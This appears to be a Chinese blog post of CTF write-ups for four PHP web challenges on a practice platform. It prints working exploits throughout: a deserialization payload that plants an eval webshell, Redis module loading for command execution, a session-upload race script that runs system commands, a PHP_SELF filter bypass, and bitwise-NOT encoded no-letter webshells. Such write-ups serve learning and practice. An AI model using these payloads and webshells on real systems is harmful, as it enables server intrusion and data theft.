NSSCTF练习1

前言

换个平台继续刷,碰到什么做什么,然后记录一些比较有意思或者设计知识盲区的题。

[天翼杯 2021]esay_eval

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

发现pop链,不过这个链是比较简单的,我们利用B类中的__destruct(),B中存在一个a方法,另这个a方法为A类,然后利用魔术方法执行echo指令时由于A类中不存在a方法,因此会调用__call魔术方法执行eval,但是要绕过__wakeup

首先写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A{
public $code = "phpinfo();";
}

class B{
public $a;
}

$a = new B();
$a -> a = new A();
echo serialize($a);
?>

//O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

由于源码中判断了反序列化的属性个数必须为1,这里不能直接改数字绕过,有两种方法:

  • 增加真实属性个数

    1
    O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1;"a";}
  • 大小写绕过,由于类名不区分大小写,因此改小写改值就可以了

    1
    O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

查看phpinfo,发现命令执行的指令几乎都被禁止了,那么我们先写入shell:

1
O:1:"b":2:{s:1:"a";O:1:"A":1:{s:4:"code";s:22:"eval($_POST['mrl64']);";}}

蚁剑连接,这里学到了要上传恶意so文件来连接redis:
恶意so文件

接着使用蚁剑的redis插件连接,密码在html目录下的config.php.swp文件中,连接后选择db0执行下面的指令:

1
2
3
MODULE LOAD "/var/www/html/exp.so"
system.exec "ls /"
system.exec "cat /f*"

得到flag,这题综合还是挺难的。

[第五空间 2021]EasyCleanup

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

看着好像和rce很像,但是这个过滤几乎把rce的路给堵死了,我们看看phpinfo,发现session.use_strict_mode=0,且session.upload_process.cleanup为off,不需要条件竞争。没有session.save_path,文件默认储存在/tmp/sess_xxxx。因此我们可以利用session包含来解题。

表单:

1
2
3
4
5
<form action="http://1.14.71.254:28017/" method="POST" enctype="multipart/form-data">
<input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="<?php eval($_POST['mrl64']);?>" />
<input type="file" name="file" />
<input type="submit" />
</form>

随便上传一个文件,记得注意添加cookie:Cookie: PHPSESSID=233,然后蚁剑连接即可:

1
http://1.14.71.254:28017/?file=/tmp/sess_233

或者大佬们直接用脚本跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io

import requests
import threading

from cffi.backend_ctypes import xrange

sessid = '0'

def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://1.14.71.254:28017/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post(f"http://1.14.71.254:28017/?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
#print(resp.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()

[鹤城杯 2021]EasyP

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

我们要做的是上传一个guess变量和secret的值相同,这想想都不可能,因此这个地方完全没用。我们来看下面一串东西:

1
2
3
$_SERVER['PHP_SELF']:获取当前执行脚本的文件名
$_SERVER['REQUEST_URI']:取得当前URL的路径地址
basename():返回路径中的文件名部分

首先url过滤了show_source,直接url编码绕过就可以了。而关键部分在highlight_file(basename($_SERVER['PHP_SELF']));这串上。我们构建payload并开始分析:

1
http://1.14.71.254:28032/index.php/utils.php/%ff?%73%68%6f%77%5f%73%6f%75%72%63%65

首先获取$_SERVER['PHP_SELF'],这个函数所获取到的内容为/index.php/utils.php/%ff,接着basename()会获取路径尾的文件名,即/utils.php/%ff

由于文件尾的不可打印字符,可以绕过正则匹配部分,而basename()在获取名称时会自动丢弃不可打印字符,因此成功读取到目标文件,拿到flag。

hardrce

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}

可以看到是一个rce,但是过滤了字母的相当一部分符号,这里就是特殊的无字符webshell了,研究这个的时候发现这一块还挺有意思的,挖个坑之后写篇博客。

返回来题目,这里发现按位取反没有被过滤,因此直接参考p牛的文章:
无数字字母webshell之提高篇

简单的生成payload脚本:

1
2
3
4
5
def get(shell):
hexbit = ''.join(map(lambda x:hex(~(-(256-ord(x)))),shell))
print hexbit.replace('0x','%')

get('phpinfo')

构造payload:

1
2
3
4
5
?wllm=(~%8c%86%8c%8b%9a%92)(~%93%8c%df%d0);
//system('ls \')

?wllm=(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);
//system('cat /flllllaaaaaaggggggg')